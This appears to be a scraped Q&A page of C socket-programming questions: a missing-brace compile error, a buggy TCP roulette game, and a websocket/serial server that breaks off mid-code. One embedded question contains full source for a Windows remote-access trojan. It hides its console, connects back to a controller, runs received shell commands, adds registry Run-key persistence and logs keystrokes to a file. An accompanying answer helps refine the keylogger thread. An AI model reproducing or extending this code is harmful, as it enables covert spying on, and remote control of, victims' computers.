How do I solve "expected a ';' in C" - c

I'm trying to finish my network programming practice. And I came through this problem which I couldn't fix. It might seem stupid but I had spent an afternoon on it. I would really appreciate if anyone could help me out.
Here is the code, the error is within #ifdef process_conn_server_2 segment.
#include <stdio.h>
#include <sys/uio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/types.h>
#include "process_num.c"
#define process_conn_client_2
#define process_conn_server_2
static struct iovec *vs = NULL,
*vc = NULL;
void sig_process(int signo)
{
printf("Catch ax exit signal\n");
free(vc);
free(vs);
_exit(0);
}
void sig_pipe(int signo)
{
printf("Catch a SIGPIPE signal\n");
free(vc);
free(vs);
_exit(0);
}
#ifdef process_conn_client_0
void process_conn_client(int s)
{
ssize_t size = 0;
char buffer[1024];
for (;;)
{
size = read(0, buffer, 1024);
// size = recv(s, buffer, 1024, 0);
if (size > 0)
{
send(s, buffer, size, 0);
size = recv(s, buffer, 1024, 0);
write(1, buffer, size);
}
}
}
#endif // read、send、write
#ifdef process_conn_client_1
void process_conn_client(int s)
{
char buffer[30];
ssize_t size = 0;
struct iovec *v = (struct iovec *)malloc(3 * sizeof(struct iovec));
if (!v)
{
printf("Not enough memory\n");
return;
}
vc = v;
v[0].iov_base = buffer;
v[1].iov_base = buffer + 10;
v[2].iov_base = buffer + 20;
v[0].iov_len = v[1].iov_len = v[2].iov_len = 10;
int i = 0;
for (;;)
{
size = read(0, v[0].iov_base, 10);
if (size > 0)
{
v[0].iov_len = size;
writev(s, v, 1);
v[0].iov_len = v[1].iov_len = v[2].iov_len = 10;
size = readv(s, v, 3);
for (i = 0; i < 3; i++)
{
if (v[i].iov_len > 0)
{
write(1, v[i].iov_base, v[i].iov_len);
}
}
}
}
}
#endif // read writev readv
#ifdef process_conn_client_2
void process_conn_client(int s)
{
char buffer[30];
ssize_t size = 0;
struct msghdr msg;
struct iovec *v = (struct iovec *)malloc(3 * sizeof(struct iovec));
if (!v)
{
perror("wrong: allocate memory\n");
return;
}
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_iov = v;
msg.msg_iovlen = 3;
msg.msg_flags = 0;
vc = v;
v[0].iov_base = buffer;
v[1].iov_base = buffer + 10;
v[2].iov_base = buffer + 20;
v[0].iov_len = v[1].iov_len = v[2].iov_len = 10;
// int fd;
for (;;)
{
// fd = open("firstfile.txt", O_RDONLY, 0666);
size = read(0, v[0].iov_base, 10);
printf("%d size\n", size);
if (size > 0)
{
v[0].iov_len = size;
if (sendmsg(s, &msg, 0) < 0)
{
perror("");
return;
}
v[0].iov_len = v[1].iov_len = v[2].iov_len = 10;
memset(v[0].iov_base, '\0', v[0].iov_len);
memset(v[1].iov_base, '\0', v[1].iov_len);
memset(v[2].iov_base, '\0', v[2].iov_len);
size = recvmsg(s, &msg, 0);
for (int i = 0; i < 3; i++)
{
if (v[i].iov_len > 0)
{
write(1, v[i].iov_base, v[i].iov_len);
write(1, '\n', 1);
}
}
memset(v[0].iov_base, '\0', v[0].iov_len);
memset(v[1].iov_base, '\0', v[1].iov_len);
memset(v[2].iov_base, '\0', v[2].iov_len);
}
}
#endif // sendmsg recvmsg
#ifdef process_conn_server_0
void process_conn_server(int s)
{
ssize_t size = 0;
char buffer[1024];
float result;
for (;;)
{
// size = read(s, buffer, 1024);
size = recv(s, buffer, 1024, 0);
if (size == 0)
{
return;
}
printf("received %s", buffer);
result = process_num(buffer);
if (result == 65535)
{
sprintf(buffer, "%d bytes in total.\n", size);
}
else
{
printf("%f\n", result);
sprintf(buffer, "the result is %f.\n", result);
}
//write(s, buffer, strlen(buffer) + 1);
send(s, buffer, strlen(buffer) + 1, 0);
memset(buffer, '\0', sizeof(buffer));
}
}
#endif //recv send
#ifdef process_conn_server_1
void process_conn_server(int s)
{
char buffer[30];
ssize_t size = 0;
struct iovec *v = (struct iovec *)malloc(3 * sizeof(struct iovec));
if (!v)
{
printf("Not enough memory\n");
return;
}
vs = v;
v[0].iov_base = buffer;
v[1].iov_base = buffer + 10;
v[2].iov_base = buffer + 20;
v[0].iov_len = v[1].iov_len = v[2].iov_len = 10;
for (;;)
{
size = readv(s, v, 3);
if (size == 0)
{
return;
}
sprintf(v[0].iov_base, "%d ", size);
sprintf(v[1].iov_base, "bytes alt");
sprintf(v[2].iov_base, "ogether\n");
v[0].iov_len = strlen(v[0].iov_base);
v[1].iov_len = strlen(v[1].iov_base);
v[2].iov_len = strlen(v[2].iov_base);
writev(s, v, 3);
}
}
#endif // readv writev
#ifdef process_conn_server_2
void process_conn_server(int s)
{ //this is where the error appears
char buffer[30];
ssize_t size = 0;
struct msghdr msg;
struct iovec *v = (struct iovec *)malloc(3 * sizeof(struct iovec));
if (!v)
{
perror("wrong: allocate memory\n");
return;
}
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_iov = v;
msg.msg_iovlen = 3;
msg.msg_flags = 0;
vs = v;
v[0].iov_base = buffer;
v[1].iov_base = buffer + 10;
v[2].iov_base = buffer + 20;
v[0].iov_len = v[1].iov_len = v[2].iov_len = 10;
for (;;)
{
size = recvmsg(s, &msg, 0);
if (size == 0)
{
return;
}
sprintf(v[0].iov_base, "%d ", size);
sprintf(v[1].iov_base, "bytes alt");
sprintf(v[2].iov_base, "ogether\n");
v[0].iov_len = strlen(v[0].iov_base);
v[1].iov_len = strlen(v[1].iov_base);
v[2].iov_len = strlen(v[2].iov_base);
for (int i = 0; i < 3; i++)
{
if (v[i].iov_len > 0)
{
write(1, v[i].iov_base, v[i].iov_len);
write(1, '\n', 1);
}
}
sendmsg(s, &msg, 0);
memset(v[0].iov_base, '\0', v[0].iov_len);
memset(v[1].iov_base, '\0', v[1].iov_len);
memset(v[2].iov_base, '\0', v[2].iov_len);
}
}
#endif
I dont't know if this would be of any help but the code works just fine when I
define process_conn_server/client 0/1 instead of 2.

when process_conn_client_2 is defined, you don't seem to close process_conn_client(), therefore opening another function after that gives you an error. You can see that from the indentation

Just for total clarification. There is missing a closing bracket } at the end of the definition of process_conn_client_2 to terminate the function definition. Hence the error.
I marked the place of issue with the correct placed } in this snippet:
#ifdef process_conn_client_2
void process_conn_client(int s)
{
char buffer[30];
ssize_t size = 0;
struct msghdr msg;
struct iovec *v = (struct iovec *)malloc(3 * sizeof(struct iovec));
if (!v)
{
perror("wrong: allocate memory\n");
return;
}
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_iov = v;
msg.msg_iovlen = 3;
msg.msg_flags = 0;
vc = v;
v[0].iov_base = buffer;
v[1].iov_base = buffer + 10;
v[2].iov_base = buffer + 20;
v[0].iov_len = v[1].iov_len = v[2].iov_len = 10;
// int fd;
for (;;)
{
// fd = open("firstfile.txt", O_RDONLY, 0666);
size = read(0, v[0].iov_base, 10);
printf("%d size\n", size);
if (size > 0)
{
v[0].iov_len = size;
if (sendmsg(s, &msg, 0) < 0)
{
perror("");
return;
}
v[0].iov_len = v[1].iov_len = v[2].iov_len = 10;
memset(v[0].iov_base, '\0', v[0].iov_len);
memset(v[1].iov_base, '\0', v[1].iov_len);
memset(v[2].iov_base, '\0', v[2].iov_len);
size = recvmsg(s, &msg, 0);
for (int i = 0; i < 3; i++)
{
if (v[i].iov_len > 0)
{
write(1, v[i].iov_base, v[i].iov_len);
write(1, '\n', 1);
}
}
memset(v[0].iov_base, '\0', v[0].iov_len);
memset(v[1].iov_base, '\0', v[1].iov_len);
memset(v[2].iov_base, '\0', v[2].iov_len);
}
}
} // <------- HERE
#endif // sendmsg recvmsg
I voted to close this question as caused by typo.

Related

How to close this thread in C?

Is it possible to close thread from "keylog_start" else if statement in another else if statement with winapi?
else if(strncmp("keylog_start", buffer, 12) == 0){
HANDLE thread = CreateThread(NULL, 0, logg, NULL, 0, NULL);
goto jump;
}
else if(strncmp("keylog_stop", buffer, 11) == 0){
goto jump;
}
DWORD WINAPI logg(){
int vkey, last_key_state[0xFF];
int isCAPSLOCK,isNUMLOCK;
int isL_SHIFT,isR_SHIFT;
int isPressed;
char showKey;
char NUMCHAR[] = ")!##$%^&*(";
char chars_vn[] = ";=,-./`";
char chars_vs[] = ":+<_>?~";
char chars_va[] = "[\\]\';";
char chars_vb[] = "{|}\"";
FILE *kh;
char KEY_LOG_FILE[] = "windows.txt";
for(vkey=0; vkey<0xFF;vkey++){
last_key_state[vkey] = 0;
}
while(1){
Sleep(10);
isCAPSLOCK=(GetKeyState(0x14)&0xFF)>0?1:0;
isNUMLOCK=(GetKeyState(0x90)&0xFF)>0?1:0;
isL_SHIFT=(GetKeyState(0xA0)&0xFF00)>0?1:0;
isR_SHIFT=(GetKeyState(0xA1)&0xFF00)>0?1:0;
for(vkey=0; vkey<0xFF;vkey++){
isPressed=(GetKeyState(vkey)&0xFF00)>0?1:0;
showKey=(char)vkey;
if(isPressed==1 && last_key_state[vkey]==0){
if(vkey>=0x41 && vkey<=0x5A){
if(isCAPSLOCK==0){
if(isL_SHIFT==0 && isR_SHIFT==0){
showKey=(char)(vkey+0x20);
}
}
else if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=(char)(vkey+0x20);
}
}
else if(vkey>=0x30 && vkey<=0x39){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=NUMCHAR[vkey-0x30];
}
}
else if(vkey>=0x60 && vkey<=0x69 && isNUMLOCK==1){
showKey=(char)(vkey-0x30);
}
else if(vkey>=0xBA && vkey<=0xC0){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=chars_vs[vkey-0xBA];
}
else{
showKey=chars_vn[vkey-0xBA];
}
}
else if(vkey>=0xDB && vkey<=0xDF){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=chars_vb[vkey-0xDB];
}
else{
showKey=chars_va[vkey-0xDB];
}
}
else if(vkey==0x0D){
showKey=(char)0x0A;
}
else if(vkey>=0x6A && vkey<=0x6F){
showKey=(char)(vkey-0x40);
}
else if(vkey!=0x20 && vkey!=0x09){
showKey=(char)0x00;
}
if(showKey!=(char)0x00){
kh=fopen(KEY_LOG_FILE,"a");
putc(showKey,kh);
fclose(kh);
}
}
last_key_state[vkey]=isPressed;
}
}
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "keylogger.h"
#define bzero(p, size) (void) memset((p), 0, (size))
int sock;
int bootRun(){
char err[128] = "Failed\n";
char suc[128] = "Created Persistence At : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n";
TCHAR szPath[MAX_PATH];
DWORD pathLen = 0;
pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);
if(pathLen == 0){
send(sock, err, sizeof(err), 0);
return -1;
}
HKEY NewVal;
if (RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS){
send(sock, err, sizeof(err), 0);
return -1;
}
DWORD pathLenInBytes = pathLen * sizeof(*szPath);
if(RegSetValueEx(NewVal, TEXT("[XPOSED]Agent"), 0, REG_SZ, (LPBYTE)szPath, pathLenInBytes) != ERROR_SUCCESS){
RegCloseKey(NewVal);
send(sock, err, sizeof(err), 0);
return -1;
}
RegCloseKey(NewVal);
send(sock, suc, sizeof(suc), 0);
return 0;
}
char *
str_cut(char str[], int slice_from, int slice_to){
if(str[0] == '\0')
return NULL;
char *buffer;
size_t str_len, buffer_len;
if(slice_to < 0 && slice_from > slice_to){
str_len = strlen(str);
if (abs(slice_to) > str_len -1)
return NULL;
if (abs(slice_from) > str_len)
slice_from = (-1) * str_len;
buffer_len = slice_to - slice_from;
str += (str_len + slice_from);
} else if (slice_from >= 0 && slice_to > slice_from){
str_len = strlen(str);
if (slice_from > str_len - 1)
return NULL;
buffer_len = slice_to - slice_from;
str += slice_from;
} else
return NULL;
buffer = calloc(buffer_len, sizeof(char));
strncpy(buffer, str, buffer_len);
return buffer;
}
void Shell(){
char buffer[1024];
char container[1024];
char total_response[18384];
while(1){
jump:
bzero(buffer,1024);
bzero(container,sizeof(container));
bzero(total_response, sizeof(total_response));
recv(sock, buffer, 1024, 0);
if(strncmp("q", buffer, 1) == 0){
closesocket(sock);
WSACleanup();
exit(0);
}
else if(strncmp("cd ", buffer, 3) == 0){
chdir(str_cut(buffer,3,100));
}
else if(strncmp("persist", buffer, 7) == 0){
bootRun();
}
else if(strncmp("keylog_start", buffer, 12) == 0){
HANDLE thread = CreateThread(NULL, 0, logg, NULL, 0, NULL);
goto jump;
}
else if(strncmp("keylog_stop", buffer, 11) == 0){
goto jump;
}
else{
FILE * fp;
fp = _popen(buffer, "r");
while(fgets(container, 1024, fp) != NULL){
strcat(total_response, container);
}
send(sock, total_response, sizeof(total_response), 0);
fclose(fp);
}
}
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
struct sockaddr_in ServAddr;
unsigned short ServPort;
char *ServIP;
WSADATA wsaData;
ServIP = "";
ServPort = 50005;
if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0){
exit(1);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
memset(&ServAddr, 0, sizeof(ServAddr));
ServAddr.sin_family = AF_INET;
ServAddr.sin_addr.s_addr = inet_addr(ServIP);
ServAddr.sin_port = htons(ServPort);
start:
while (connect(sock, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) != 0){
Sleep(10);
goto start;
}
/*MessageBox(NULL, TEXT("You have been pwned!"), TEXT("[XPOSED]Agent"), MB_OK | MB_ICONERROR); */
Shell();
}
Modify your logg function as follows. I'm not sure how you aren't getting a warning about your thread function missing a void* parameter. Perhaps C is more relaxed in the type checking.
struct LogOptions
{
CRITICAL_SECTION cs;
bool isExitCondition;
};
DWORD WINAPI logg(void* args){
...
LogOptions* pOptions = (LogOptions*)args;
...
while(1){
bool isExit = false;
EnterCriticalSection(&pOptions->cs);
isExit = pOptions->isExitCondition;
LeaveCriticalSection(&pOptions->cs);
if (isExit) {
break;
}
Sleep(10);
Create your thread like this:
LogOptions* pOptions = malloc(sizeof(LogOptions));
pOptions->isExitCondition = false;
InitializeCriticalSection(&pOptions->cs);
HANDLE thread = CreateThread(NULL, 0, logg, pOptions, 0, NULL);
When it's time to stop your thread, do this:
// signal the thread to exit by setting the shared variable to true
EnterCriticalSection(&pOptions->cs);
pOptions->isExitCondition = true;
LeaveCriticalSection(&pOptions->cs);
// wait for thread to exit
WaitForSingleObject(thread, INFINITE);
// release resources
CloseHandle(thread);
free(pOptions);
It's up to you how you will store and pass thread and pOptions around.

TCP server not waiting for client response?

I have been given the task to write a Roulette game, using TCP socket programming in C.
The code was working just fine, until I got close to finishing it, and for some unknown reason, it stopped working properly and I can't track down the error.
The code used to work with simple recv() calls, so I tried making the readn() function (actually got it from another post), however it did not solve the issue.
I might be overlooking the problem, which lies in the for (int i = 0 ; i < max_round ; i++) loop of the main() function.
Here is my server:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
int
readn(int f, void *av, int n)
{
char *a;
int m, t;
a = av;
t = 0;
while(t < n){
m = read(f, a+t, n-t);
if(m <= 0){
if(t == 0)
return m;
break;
}
t += m;
}
return t;
}
typedef struct
{
int _count, _bet, _client, _currency;
int _numbers[3];
char *_color;
} Roulette;
int find_element(int searched, int numbers[], int count)
{
for (int i = 0; i < count; i++)
{
if (searched == numbers[i])
return 1;
}
return 0;
}
void Round_Results(Roulette *obj1, Roulette *obj2, const int size)
{
char *lose_msg = "Sajnos nem nyert ebben a korben!\n";
char *win_msg = "Gratulalok, ebben a korben nyert!\n";
char answer[size];
srand(time(NULL));
int winner_number = rand() % 10;
if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 0) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 0))
{
send(obj1->_client, lose_msg, size, 0);
obj1->_currency = obj1->_currency - obj1->_bet;
printf("%d", obj1->_currency);
sprintf(answer, "%d", obj1->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, lose_msg, size, 0);
obj2->_currency = obj2->_currency - obj2->_bet;
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
else if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 1) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 0))
{
send(obj1->_client, win_msg, size, 0);
obj1->_currency = obj1->_currency + obj1->_bet * (6 / obj1->_count);
printf("%d", obj1->_currency);
sprintf(answer, "%d", obj1->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, lose_msg, size, 0);
obj2->_currency = obj2->_currency - obj2->_bet;
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
else if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 0) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 1))
{
send(obj1->_client, lose_msg, size, 0);
obj1->_currency = obj1->_currency - obj1->_bet;
printf("%d", obj1->_currency);
sprintf(answer, "%d", obj1->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, win_msg, size, 0);
obj2->_currency = obj2->_currency + obj2->_bet * (6 / obj2->_count);
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
else if ((find_element(winner_number, obj1->_numbers, obj1->_count) == 1) && (find_element(winner_number, obj1->_numbers, obj1->_count) == 1))
{
send(obj1->_client, win_msg, size, 0);
obj1->_currency = obj1->_currency + obj1->_bet * (6 / obj1->_count);
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj1->_client, answer, size, 0);
send(obj2->_client, win_msg, size, 0);
obj2->_currency = obj2->_currency + obj2->_bet * (6 / obj1->_count);
printf("%d", obj2->_currency);
sprintf(answer, "%d", obj2->_currency);
send(obj2->_client, answer, size, 0);
}
}
void Initialize(int client, int count, int numbers[], int bet, char *color, Roulette *obj)
{
obj->_client = client;
obj->_count = count;
obj->_color = color;
obj->_bet = bet;
for (int i = 0; i < count; i++)
obj->_numbers[i] = numbers[i];
}
void Round_Information(int client, const int size, Roulette *obj)
{
char *message = malloc(size);
char *money_msg = "Mennyi zsetonba fogad?\n";
char *number_msg = "Melyik szamra fogad?\n[0-9]\n";
char *count_msg = "Mennyi szamra fogad?\n[1-3]\n";
char *color_msg = "Milyen szinre fogad?\n[black/red]\n";
int count = 0;
char *color;
int numbers[3];
int bet;
//Bet
send(client, money_msg, size, 0);
readn(client,message,size);
bet = atoi(message);
//Count
send(client, count_msg, size, 0);
readn(client,message,size);
count = atoi(message);
//Number/Numbers
for (int i = 0; i < count; i++)
{
send(client, number_msg, size, 0);
readn(client,message,size);
numbers[i] = atoi(message);
}
//Color
send(client, color_msg, size, 0);
readn(client,message,size);
color = message;
Initialize(client, count, numbers, bet, color, obj);
free(message);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2)
{
printf("tul keves argumentum!\nusage : ./valami PORT_NR\n");
exit(-1);
}
const int size = 50;
int max_round, starting_money;
int flag = 0;
int on = 1;
char *message = malloc(size);
char *round_msg = "Korok szama :\n";
char *greeting_msg = "Sikeresen csatlakozott a szerverre!\n";
char *waiting_msg = "A masik jatekosra varunk!\n";
char *win_msg = "Gratulalok !\nMegnyerte a jatekot!\n";
char *lose_msg = "Jatek vege !\nSajnos nem nyert!\n";
Roulette *obj1 = malloc(size);
Roulette *obj2 = malloc(size);
int server_socket = socket(AF_INET, SOCK_STREAM, flag);
if (server_socket < 0)
{
printf("Nem sikerult a socket-et letrehozni\n");
exit(-1);
}
struct sockaddr_in server_adress;
server_adress.sin_addr.s_addr = INADDR_ANY;
server_adress.sin_family = AF_INET;
server_adress.sin_port = atoi(argv[1]);
setsockopt(server_socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&on, sizeof(on));
setsockopt(server_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
int binding_server = bind(server_socket, (struct sockaddr *)&server_adress, sizeof(server_adress));
if (binding_server < 0)
{
printf("nem sikerult bindolni a szervert!\n");
exit(-1);
}
listen(server_socket, 2);
int client1 = accept(server_socket, NULL, NULL);
int client2 = accept(server_socket, NULL, NULL);
send(client1, greeting_msg, size, flag);
send(client2, greeting_msg, size, flag);
printf("Milyen hosszu legyen a jatek ? (Hany kor)\n");
scanf("%s", message);
max_round = atoi(message);
//Korok szama
send(client1, message, size, flag);
send(client2, message, size, flag);
printf("Mennyi zsetonnal kezdodjon a jatek?\n");
scanf("%s", message);
starting_money = atoi(message);
//Kezdo penz
send(client1, message, size, flag);
send(client2, message, size, flag);
obj1->_currency = starting_money;
obj2->_currency = starting_money;
for (int i = 0; i < max_round; i++)
{
Round_Information(client1, size, obj1);
Round_Information(client2, size, obj2);
Round_Results(obj1, obj2, size);
}
if (obj1->_currency > obj2->_currency)
{
send(obj1->_client, win_msg, size, flag);
send(obj2->_client, lose_msg, size, flag);
}
else if (obj1->_currency < obj2->_currency)
{
send(obj2->_client, win_msg, size, flag);
send(obj1->_client, lose_msg, size, flag);
}
else
{
send(obj1->_client, lose_msg, size, flag);
send(obj2->_client, lose_msg, size, flag);
}
close(client1);
close(client2);
close(server_socket);
free(message);
free(obj1);
free(obj2);
return 0;
}
Here is the Client:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
void Round_Information(int client, const int size, int currency)
{
char *message = malloc(size);
char answer[size];
char *black = "black";
char *red = "red";
int count = 0;
memset(answer, 0, size);
//Bet
recv(client, message, size, 0);
if (currency == 0)
{
printf("Game over!\nVeszitett!\n");
close(client);
}
while (atoi(answer) < 1 || atoi(answer) > currency)
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
answer[0] = '0';
//Count
recv(client, message, size, 0);
while (atoi(answer) < 1 || atoi(answer) > 3)
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
count = atoi(answer);
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
//Number/Numbers
for (int i = 0; i < count; i++)
{
recv(client, message, size, 0);
answer[0] = 'z';
while (atoi(answer) <= 0 || atoi(answer) > 9)
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
}
//Color
recv(client, message, size, 0);
while ((strcmp(answer, black) != 0) && (strcmp(answer, red) != 0))
{
if (strcmp(answer, "befejeztem"))
{
close(client);
}
printf("%s", message);
scanf("%s", answer);
}
if (strcmp(answer, "befejeztem"))
{
close(client);
}
send(client, answer, size, 0);
free(message);
}
void Round_Results(int client_socket, char *message, const int size, int *currency)
{
recv(client_socket, message, size, 0);
printf("%s\n", message);
recv(client_socket, message, size, 0);
(*currency) = atoi(message);
}
int main(int argc, char **argv)
{
if (argc < 2)
{
printf("tul keves argumentum!\nusage : ./valami PORT_NR\n");
exit(-1);
}
const int size = 50;
int flag = 0;
int max_round, currency;
int on = 1;
char message[size];
int client_socket = socket(AF_INET, SOCK_STREAM, flag);
if (client_socket < 0)
{
printf("Nem sikerult a socketet letrehozni!\n");
exit(-1);
}
struct sockaddr_in server_adress;
server_adress.sin_addr.s_addr = INADDR_ANY;
server_adress.sin_family = AF_INET;
server_adress.sin_port = atoi(argv[1]);
setsockopt(client_socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&on, sizeof(on));
setsockopt(client_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
int connection = connect(client_socket, (struct sockaddr *)&server_adress, sizeof(server_adress));
if (connection < 0)
{
printf("Nem sikerult kapcsolodni a szerverhez!\n");
exit(-1);
}
//Sikeres kapcsolodas
int receive = recv(client_socket, message, size, flag);
if (receive < 0)
{
printf("Nem sikerult megkapni az uzenetet!\n");
exit(-1);
}
printf("%s", message);
//Korok szama
receive = recv(client_socket, message, size, flag);
if (receive < 0)
{
printf("Nem sikerult megkapni az uzenetet!\n");
exit(-1);
}
printf("Korok szama :%s\n", message);
max_round = atoi(message);
//Kezdo penz
receive = recv(client_socket, message, size, flag);
if (receive < 0)
{
printf("Nem sikerult megkapni az uzenetet!\n");
exit(-1);
}
printf("Jelenlegi zsetonok mennyisege :%s\n", message);
currency = atoi(message);
for (int i = 0; i < max_round; i++)
{
Round_Information(client_socket, size, currency);
Round_Results(client_socket, message, size, &currency);
printf("Jelenlegi zseton :%d\n", currency);
}
recv(client_socket, message, size, flag);
printf("%s\n", message);
close(client_socket);
return 0;
}
It was not easy to read, since i do not know what the outputs mean, but i think i found your problem.
if (strcmp(answer, "befejeztem"))
{
close(client);
}
strcmp is 0 when the strings are equal. That means in almost every case you close the socket. Actually in the first loop answer is zero that means you are closing the socket right away. If you close the socket but the server tries to send data the program will receive the SIGPIPE signal and i think the default handler will just abort the program.
Try to change all these if statements to:
if(!strcmp(answer, "befejeztem"))
{
close(client);
}

C websocket disconnected

I've a problem with websocket. I have a particular need, so, sniffer continuous serial port (rs485) and send any data to the clients.
I've found many help in internet and my written program work correctly.
I have one last problem that I can not fix. Often the server for no reason close the connection whith all clients and exit from c program.
I had to create a virtual buffer to ensure that there are data for all threads, because once you read the buffer of the serial it is emptied.
Websocket server is in C, websocket clients is in php/js.
I'm sorry for my orrible english.
This is my client:
var server_connection;
var rs485_connection;
var ping_serverconnection;
var ping_rs485connection
var sockethide=true;
window.addEventListener("beforeunload", function (e) { socketConnection_close(); });
function socketConnection_open() {
server_socketConnect();
rs485_socketConnect();
}
function server_socketConnect() {
server_connection = new WebSocket('ws://192.168.2.8:5000');
server_connection.onopen = function () { serverOpened(); console.log('SERVER Connected!');};
server_connection.onerror = function (error) { console.log('WebSocket Error ' + error); };
server_connection.onmessage = function(e) { serverReceive(e.data); };
server_connection.onclose = function(e) { serverClosed(); console.log('SERVER Disconnected!'); };
ping_serverconnection=setInterval(function() {server_connection.send("ping");},5000);
}
function rs485_socketConnect() {
rs485_connection = new WebSocket('ws://192.168.2.8:5001',"DomoProtocol");
rs485_connection.onopen = function () { rs485Opened(); console.log('RS485 Connected!'); /*server_socketConnect()*/;};
rs485_connection.onerror = function (error) { console.log('WebSocket Error ' + error); };
rs485_connection.onmessage = function(e) { rs485Receive(e.data); };
rs485_connection.onclose = function(e) { rs485Closed(); console.log('RS485 Disconnected!'); };
//ping_rs485connection=setInterval(function() {rs485_connection.send("ping");},10000);
}
function socketConnection_close() {
//clearInterval(ping_serverconnection);
clearInterval(ping_rs485connection);
//server_connection.send("exit");
rs485_connection.send("exit");
for(i=0;i<100000;i++);
rs485_connection.close(); rs485_connection='';
server_connection.close(); server_connection='';
}
function serverOpened() {
document.getElementById("serverlightid").src=urlbase+"/images/icons/green.png";
}
function rs485Opened() {
document.getElementById("rs485lightid").src=urlbase+"/images/icons/green.png";
}
function serverClosed() {
server_connection.close(); server_connection='';
document.getElementById("serverlightid").src=urlbase+"/images/icons/red.png";
//server_socketConnect();
}
function rs485Closed() {
rs485_connection.close(); rs485_connection='';
document.getElementById("rs485lightid").src=urlbase+"/images/icons/red.png";
}
function socketexpand() {
if (sockethide) {
document.getElementById("socketDivId").style.width="500px";
document.getElementById("socketDivId").style.height="400px";
document.getElementById("socketexpandid").style.display="none";
document.getElementById("sockethideid").style.display="inline";
sockethide=false;
} else {
document.getElementById("socketDivId").style.width="80px";
document.getElementById("socketDivId").style.height="25px";
document.getElementById("socketexpandid").style.display="inline";
document.getElementById("sockethideid").style.display="none";
sockethide=true;
}
}
// *******************************************************************************************************
function serverReceive(msg) { alert("Dato Ricevuto server:"+msg); }
function server_connection_send(msg) {
server_connection.send(msg);
var node = document.createElement("span");
var textnode = document.createTextNode(msg+" ");
node.appendChild(textnode);
document.getElementById("serversocketdivid").appendChild(node);
}
function rs485Receive(msg) {
//var content=document.getElementById("rs485socketdivid");
var node = document.createElement("span");
var textnode = document.createTextNode(msg+" ");
node.appendChild(textnode);
document.getElementById("rs485socketdivid").appendChild(node);
//alert("Dato Ricevuto 485:"+msg);
}
function rs485_connection_send(msg) {
rs485_connection.send(msg);
var node = document.createElement("span");
var textnode = document.createTextNode(msg+" ");
node.appendChild(textnode);
document.getElementById("serversocketdivid").appendChild(node);
}
And this is my server in c:
#include<stdint.h>
#include<stdarg.h>
#include<stdio.h>
#include<math.h>
#include<string.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<unistd.h>
//for threading , link with lpthread
#include<pthread.h>
//for SHA1 + BASE64
#include <openssl/sha.h>
const char *BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
//for serial
#include <termios.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#define MAX_BUFFER 1000
#define DELAYTOSEND 1000000
#define MAX_CONNECTION 10
void *connection_handler(void *);
void *connection_handler_master(void *);
int serialBuffer[MAX_BUFFER];
long arg;
int main(int argc , char *argv[])
{
